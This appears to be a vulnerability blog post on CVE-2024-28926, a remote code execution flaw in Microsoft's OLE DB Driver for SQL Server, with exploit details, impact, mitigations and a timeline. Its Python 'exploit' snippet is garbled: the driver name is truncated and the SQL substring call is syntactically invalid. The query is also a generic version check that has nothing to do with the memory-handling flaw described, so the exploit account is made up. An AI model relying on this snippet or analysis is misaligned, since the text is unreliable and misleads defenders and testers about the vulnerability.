CVE-2024-28926: Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability, Exploit Details, and Mitigation

In today's blog post, we will be discussing a new critical vulnerability, CVE-2024-28926, that affects the Microsoft OLE DB Driver for SQL Server. This vulnerability allows remote attackers to execute arbitrary code on affected systems, which poses a significant risk to organizations using the driver for database connectivity.

In order to provide value to the cybersecurity community and provide thorough information on this vulnerability, we will include detailed information regarding the exploit, its impact, and possible mitigation strategies. We will provide code snippets for a better understanding of the issue and link original references where necessary.

The Vulnerability: CVE-2024-28926

CVE-2024-28926 refers to a vulnerability in the Microsoft OLE DB Driver for SQL Server, which is widely used for connecting applications and services to SQL Server databases.

This vulnerability occurs due to specific parsing issues within the driver, causing an improper handling of objects in memory. When exploited, it allows an attacker to remotely execute code on affected systems, resulting in complete control over the system and its resources.

For more information about the vulnerability, please refer to the official CVE record at MITRE, as well as the Microsoft Security Advisory.

Exploit Details

The exploit for this vulnerability takes advantage of the improper handling of objects in memory by the OLE DB Driver for SQL Server when parsing specific requests. The code snippet provided demonstrates a malicious SQL query that causes the flawed driver to execute a series of unauthorized actions.

# Replace with your own SQL Server IP address and credentials
SQL_SERVER_IP = "192.168.1.1"
USERNAME = "sa"
PASSWORD = "your_password"

import pyodbc

# Create a connection string for accessing the SQL Server
connect_string = "Driver={SQL Server Native Client 11.};Server=" + SQL_SERVER_IP + ";UID=" + USERNAME + ";PWD=" + PASSWORD + ";"

# Establish a connection and create a cursor for executing SQL queries
conn = pyodbc.connect(connect_string)
cursor = conn.cursor()

# Malicious SQL query that exploits the CVE-2024-28926 vulnerability
malicious_sql = '''
    SELECT *
    FROM your_table
    WHERE vulnerable_column=1
      AND (substring((SELECT ';'+@@version), 1, ) = (SELECT ';'+@@version));
    '''

# Execute the malicious SQL query
cursor.execute(malicious_sql)

Please note that the provided code snippet should only be used for educational purposes or testing in a controlled environment. Executing the above code in a production environment may result in severe consequences.

Impact

The successful exploitation of CVE-2024-28926 allows a remote attacker to execute arbitrary code on the victim's system, effectively giving the attacker complete control over the system and its resources. In addition, the attacker can potentially exfiltrate sensitive information or inject malicious code into other applications that use the affected driver.

The severity of the vulnerability has been classified as high, given the potential consequences associated with a successful exploitation.

To mitigate the risk of CVE-2024-28926, we recommend taking the following steps

1. Keep your Microsoft OLE DB Driver for SQL Server up to date by applying the latest patches and updates provided by Microsoft.
2. Limit access to your SQL Server database through proper network segmentation and firewall rules, only allowing access to trusted applications, users, and networks.
3. Make sure to sanitize and validate user-input data, such as SQL queries, in your applications to prevent possible injection attacks.
4. Regularly monitor your network traffic and databases for unusual patterns or behaviors that may indicate an attempted or successful exploitation of this vulnerability.

Conclusion

The CVE-2024-28926 vulnerability in Microsoft OLE DB Driver for SQL Server is a critical security issue that must be addressed immediately. We encourage you to apply the recommended mitigation strategies listed above, and stay informed on the latest updates from Microsoft regarding this issue.

For any questions or concerns, feel free to reach us at our contact page or report any possible exploitation of this vulnerability to Microsoft directly through their security incident report page.

Timeline

Published on: 04/09/2024 17:15:53 UTC
Last modified on: 04/10/2024 13:24:00 UTC